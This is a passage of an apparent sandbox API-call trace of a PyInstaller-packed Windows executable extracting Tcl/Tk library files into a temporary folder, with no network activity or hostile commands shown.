lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.764] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.764] GetFileType (hFile=0x10c) returned 0x1 [0044.764] htonl (hostlong=0xfb5e5f00) returned 0x5f5efb [0044.764] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x640efb, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.764] htonl (hostlong=0x560b0000) returned 0xb56 [0044.764] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb56) returned 0x55e278 [0044.764] htonl (hostlong=0x560b0000) returned 0xb56 [0044.764] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.764] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.764] htonl (hostlong=0xbd1e0000) returned 0x1ebd [0044.765] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1ebd) returned 0x562098 [0044.765] htonl (hostlong=0x560b0000) returned 0xb56 [0044.765] htonl (hostlong=0xbd1e0000) returned 0x1ebd [0044.765] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563f60 [0044.765] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563f60 | out: hHeap=0x530000) returned 1 [0044.765] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0044.765] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.765] CloseHandle (hObject=0x10c) returned 1 [0044.765] GetLastError () returned 0x0 [0044.765] SetLastError (dwErrCode=0x0) [0044.765] GetLastError () returned 0x0 [0044.765] SetLastError (dwErrCode=0x0) [0044.765] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.765] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.765] GetFileType (hFile=0x10c) returned 0x1 [0044.765] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.765] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.765] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.765] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.765] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.765] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.765] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.765] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.765] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.765] CloseHandle (hObject=0x10c) returned 1 [0044.765] GetLastError () returned 0x0 [0044.766] SetLastError (dwErrCode=0x0) [0044.766] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\palette.tcl") returned 60 [0044.766] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\palette.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\palette.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.766] GetLastError () returned 0x2 [0044.766] SetLastError (dwErrCode=0x2) [0044.766] GetLastError () returned 0x2 [0044.766] SetLastError (dwErrCode=0x2) [0044.766] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\palette.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\palette.tcl", lpFilePart=0x0) returned 0x3b [0044.766] GetLastError () returned 0x2 [0044.766] SetLastError (dwErrCode=0x2) [0044.766] GetLastError () returned 0x2 [0044.766] SetLastError (dwErrCode=0x2) [0044.766] GetLastError () returned 0x2 [0044.766] SetLastError (dwErrCode=0x2) [0044.766] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\palette.tcl") returned 60 [0044.766] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.766] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\palette.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\palette.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.766] GetFileType (hFile=0x10c) returned 0x1 [0044.766] htonl (hostlong=0xbd1e0000) returned 0x1ebd [0044.766] WriteFile (in: hFile=0x10c, lpBuffer=0x562098*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x562098*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0044.767] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.767] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xebd, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xebd, lpOverlapped=0x0) returned 1 [0044.767] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.767] CloseHandle (hObject=0x10c) returned 1 [0044.767] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.768] htonl (hostlong=0x30000000) returned 0x30 [0044.768] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.768] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.768] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.768] GetFileType (hFile=0x10c) returned 0x1 [0044.768] htonl (hostlong=0x516a5f00) returned 0x5f6a51 [0044.768] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x641a51, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.768] htonl (hostlong=0x98050000) returned 0x598 [0044.768] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x598) returned 0x550600 [0044.768] htonl (hostlong=0x98050000) returned 0x598 [0044.768] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.768] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.768] htonl (hostlong=0x38140000) returned 0x1438 [0044.768] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1438) returned 0x562098 [0044.768] htonl (hostlong=0x98050000) returned 0x598 [0044.768] htonl (hostlong=0x38140000) returned 0x1438 [0044.768] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x5634d8 [0044.768] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5634d8 | out: hHeap=0x530000) returned 1 [0044.768] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0044.768] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.768] CloseHandle (hObject=0x10c) returned 1 [0044.768] GetLastError () returned 0x0 [0044.768] SetLastError (dwErrCode=0x0) [0044.769] GetLastError () returned 0x0 [0044.769] SetLastError (dwErrCode=0x0) [0044.769] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.769] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.769] GetFileType (hFile=0x10c) returned 0x1 [0044.769] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.769] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.769] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.769] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.769] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.769] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.769] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.769] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.769] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.769] CloseHandle (hObject=0x10c) returned 1 [0044.769] GetLastError () returned 0x0 [0044.769] SetLastError (dwErrCode=0x0) [0044.769] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\panedwindow.tcl") returned 64 [0044.769] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\panedwindow.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\panedwindow.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.769] GetLastError () returned 0x2 [0044.769] SetLastError (dwErrCode=0x2) [0044.769] GetLastError () returned 0x2 [0044.769] SetLastError (dwErrCode=0x2) [0044.769] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\panedwindow.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\panedwindow.tcl", lpFilePart=0x0) returned 0x3f [0044.769] GetLastError () returned 0x2 [0044.769] SetLastError (dwErrCode=0x2) [0044.769] GetLastError () returned 0x2 [0044.770] SetLastError (dwErrCode=0x2) [0044.770] GetLastError () returned 0x2 [0044.770] SetLastError (dwErrCode=0x2) [0044.770] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\panedwindow.tcl") returned 64 [0044.770] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.770] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\panedwindow.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\panedwindow.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.770] GetFileType (hFile=0x10c) returned 0x1 [0044.770] htonl (hostlong=0x38140000) returned 0x1438 [0044.770] WriteFile (in: hFile=0x10c, lpBuffer=0x562098*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x562098*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0044.771] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.771] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x438, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x438, lpOverlapped=0x0) returned 1 [0044.771] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.771] CloseHandle (hObject=0x10c) returned 1 [0044.771] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.771] htonl (hostlong=0x30000000) returned 0x30 [0044.771] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.771] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.771] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.771] GetFileType (hFile=0x10c) returned 0x1 [0044.772] htonl (hostlong=0xe96f5f00) returned 0x5f6fe9 [0044.772] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x641fe9, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.772] htonl (hostlong=0xe5000000) returned 0xe5 [0044.772] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xe5) returned 0x550600 [0044.772] htonl (hostlong=0xe5000000) returned 0xe5 [0044.772] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.772] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.772] htonl (hostlong=0x73010000) returned 0x173 [0044.772] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x173) returned 0x5506f0 [0044.772] htonl (hostlong=0xe5000000) returned 0xe5 [0044.772] htonl (hostlong=0x73010000) returned 0x173 [0044.772] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0044.772] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.772] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0044.772] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.772] CloseHandle (hObject=0x10c) returned 1 [0044.772] GetLastError () returned 0x0 [0044.772] SetLastError (dwErrCode=0x0) [0044.772] GetLastError () returned 0x0 [0044.772] SetLastError (dwErrCode=0x0) [0044.772] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.772] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.772] GetFileType (hFile=0x10c) returned 0x1 [0044.772] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.772] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.772] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.772] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.773] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.773] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.773] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.773] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.773] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.773] CloseHandle (hObject=0x10c) returned 1 [0044.773] GetLastError () returned 0x0 [0044.773] SetLastError (dwErrCode=0x0) [0044.773] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\pkgIndex.tcl") returned 61 [0044.773] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\pkgIndex.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\pkgindex.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.773] GetLastError () returned 0x2 [0044.773] SetLastError (dwErrCode=0x2) [0044.773] GetLastError () returned 0x2 [0044.773] SetLastError (dwErrCode=0x2) [0044.773] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\pkgIndex.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\pkgIndex.tcl", lpFilePart=0x0) returned 0x3c [0044.773] GetLastError () returned 0x2 [0044.773] SetLastError (dwErrCode=0x2) [0044.773] GetLastError () returned 0x2 [0044.773] SetLastError (dwErrCode=0x2) [0044.773] GetLastError () returned 0x2 [0044.773] SetLastError (dwErrCode=0x2) [0044.773] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\pkgIndex.tcl") returned 61 [0044.773] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.773] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\pkgIndex.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\pkgindex.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.793] GetFileType (hFile=0x10c) returned 0x1 [0044.793] htonl (hostlong=0x73010000) returned 0x173 [0044.793] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.793] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x173, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x173, lpOverlapped=0x0) returned 1 [0044.794] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.794] CloseHandle (hObject=0x10c) returned 1 [0044.794] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5506f0 | out: hHeap=0x530000) returned 1 [0044.794] htonl (hostlong=0x30000000) returned 0x30 [0044.794] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.794] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.794] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.794] GetFileType (hFile=0x10c) returned 0x1 [0044.794] htonl (hostlong=0xce705f00) returned 0x5f70ce [0044.794] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6420ce, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.794] htonl (hostlong=0xba0a0000) returned 0xaba [0044.794] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xaba) returned 0x55e278 [0044.794] htonl (hostlong=0xba0a0000) returned 0xaba [0044.794] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.795] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.795] htonl (hostlong=0x611c0000) returned 0x1c61 [0044.795] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1c61) returned 0x562098 [0044.795] htonl (hostlong=0xba0a0000) returned 0xaba [0044.795] htonl (hostlong=0x611c0000) returned 0x1c61 [0044.795] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563d08 [0044.795] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563d08 | out: hHeap=0x530000) returned 1 [0044.795] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0044.795] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.795] CloseHandle (hObject=0x10c) returned 1 [0044.795] GetLastError () returned 0x0 [0044.795] SetLastError (dwErrCode=0x0) [0044.795] GetLastError () returned 0x0 [0044.795] SetLastError (dwErrCode=0x0) [0044.795] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: 